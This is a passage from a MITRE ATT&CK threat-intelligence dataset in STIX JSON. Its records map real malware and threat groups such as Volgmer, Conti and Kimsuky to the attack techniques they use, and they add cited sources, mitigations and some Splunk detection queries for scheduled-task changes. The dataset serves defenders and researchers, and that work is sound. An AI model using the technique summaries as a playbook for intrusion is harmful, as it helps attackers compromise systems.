system.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5a99bb2-c6d6-4a9c-bf31-4edd1d602c4e","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.188Z","description":"Some [Volgmer](https://attack.mitre.org/software/S0180) variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5ad94e4-f136-44d7-8000-7dd607538a7c","created":"2023-03-22T13:05:23.948Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T13:05:23.948Z","description":"Use access control lists on cloud storage systems and objects. ","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5aea511-17b8-4bbc-8d7b-15db602a1099","created":"2024-09-17T19:48:18.876Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T19:48:18.876Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--394220d9-8efc-4252-9040-664f7b115be6","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5b20ee8-7af4-41a4-ac76-622a55a37e13","created":"2024-08-01T22:10:23.734Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:10:23.734Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) gathers information on infected systems such as operating system, processor information, RAM, and display information.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5ba408f-92d3-404a-b3e1-adcd5d21bc5f","type":"relationship","created":"2019-07-16T16:14:50.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2019-07-26T20:18:44.975Z","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) acquires valid SSH accounts through brute force. (Citation: Anomali Linux Rabbit 2018)","relationship_type":"uses","source_ref":"malware--0efefea5-78da-4022-92bc-d726139e8883","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5bfb355-b834-48db-8d79-9067127ed82b","type":"relationship","created":"2022-02-09T14:49:28.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"modified":"2022-02-09T14:49:28.936Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used a file injector DLL to spawn a benign process on the victim's system and inject the malicious payload into it via process hollowing.(Citation: Talos Kimsuky Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5c4842c-e1be-48c3-9007-a3c283515f86","type":"relationship","created":"2019-06-24T13:48:13.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2020-03-25T18:51:01.244Z","description":"Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist.(Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5cb79c2-2bc0-47e2-be01-6bcf55d4c1a2","type":"relationship","created":"2021-03-02T18:16:41.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T18:16:41.059Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has waited a specified time before downloading a second stage payload.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5cf97c0-5229-4d94-bd23-9dfa1517d8b3","created":"2024-09-23T22:15:39.651Z","revoked":false,"external_references":[{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:15:39.651Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used a Python script to establish outbound communication and to execute commands using SMB port 445.(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5d571ab-d744-499b-9141-6d4ffc68081d","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for newly constructed instances that may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior.","source_ref":"x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5d5ca1f-1e8e-4870-a9ef-33a963ee6148","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:16:38.305Z","description":"A [Volgmer](https://attack.mitre.org/software/S0180) variant is encoded using a simple XOR cipher.(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e5e4eabe-7212-4404-b46a-8ed761a05d29","created":"2022-03-30T14:26:51.843Z","x_mitre_version":"0.1","external_references":[{"source_name":"Github PowerSploit Ninjacopy","url":"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1","description":"Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor handle opens on volumes that are made by processes to determine when they may be directly collecting data from logical drives. (Citation: Github PowerSploit Ninjacopy)","modified":"2022-04-07T19:27:00.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.032Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) has several commands to delete files associated with the malware from the victim.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5efeda7-cfe9-42e3-a015-6cf25071caa5","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"rowland linux at 2019","description":"Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.","url":"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:53:10.861Z","description":"On Windows, monitor Windows Task Scheduler stores in `%systemroot%\\System32\\Tasks` for change entries related to scheduled tasks, especially those that do not correlate with known software, patch cycles, etc. On Linux and macOS, all [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nAnalytic 1 - Look for task file modifications with unusual parameters. (Linux)\n\n index=linux_logs sourcetype=syslog \"at\" \"/var/spool/cron/atjobs/\"\n| rex \"user=(?\\w+)\"\n\nAnalytic 2 - Look for task file modifications with unusual parameters. (Windows) \n\n index=windows_logs sourcetype=WinEventLog:System EventCode=4663 Object_Type=\"File\"\n| rex field=_raw \"Object_Name=(?[^\\r\\n]+)\"\n| search file_path=\"*at*\"\n| where NOT (user=\"SYSTEM\" AND file_path=\"C:\\\\Windows\\\\Tasks\\\\allowed_task.job\")","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5f53e43-5b6a-480c-b770-85ca47b17050","created":"2023-12-22T18:22:27.557Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T18:22:27.557Z","description":"(Citation: Sygnia Emperor Dragonfly October 2022)\n","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.650Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5f93ccd-67e5-4bb5-805e-e39b41cfabf3","created":"2023-09-21T14:24:09.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 SilverTerrier 2016","description":"Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf"},{"source_name":"Unit42 SilverTerrier 2018","description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:24:29.196Z","description":"[SilverTerrier](https://attack.mitre.org/groups/G0083) targets organizations in high technology, higher education, and manufacturing for business email compromise (BEC) campaigns with the goal of financial theft.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5fea1b8-e72c-4d5a-84a7-5545bc2f5dc3","created":"2021-02-17T19:22:30.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CarbonBlack Conti July 2020","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"},{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:59:47.057Z","description":"[Conti](https://attack.mitre.org/software/S0575) can utilize command line options to allow an attacker control over how it scans and encrypts files.(Citation: CarbonBlack Conti July 2020)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e600fe60-36d1-4053-af2f-13830d95bd14","type":"relationship","created":"2019-01-29T19:55:48.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:43.155Z","description":"[Epic](https://attack.mitre.org/software/S0091) heavily obfuscates its code to make analysis more difficult.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e601ccd0-3b36-4ef9-b2de-9784539ecb75","created":"2022-10-13T15:45:00.433Z","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:45:00.433Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has used HTTP for C2 communications.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e607a77e-5c5c-4f3e-a62d-82124a434911","created":"2022-09-02T19:18:00.200Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:18:00.200Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has acquired and used a variety of malware, including [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e60f4fce-425c-45f5-a6f3-ee6c3f808fb9","type":"relationship","created":"2019-08-15T14:06:26.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2019-10-15T17:33:22.348Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has a function to determine whether the C2 server wishes to execute the newly dropped file in a hidden window.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e611b2ca-ecb4-47f4-acc2-614d37926d5b","created":"2023-02-23T23:04:23.816Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T23:04:23.816Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can search registry keys to identify antivirus programs on an compromised host.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e614a9ca-a922-4594-a929-30dd542d83ce","type":"relationship","created":"2021-10-01T14:57:41.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.128Z","description":"(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e61e5dc3-b6ac-4909-b188-eaede02385df","type":"relationship","created":"2020-03-30T20:44:34.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2020-03-30T20:44:34.666Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) has used HTTP over a non-standard port, such as TCP port 46769.(Citation: Talos 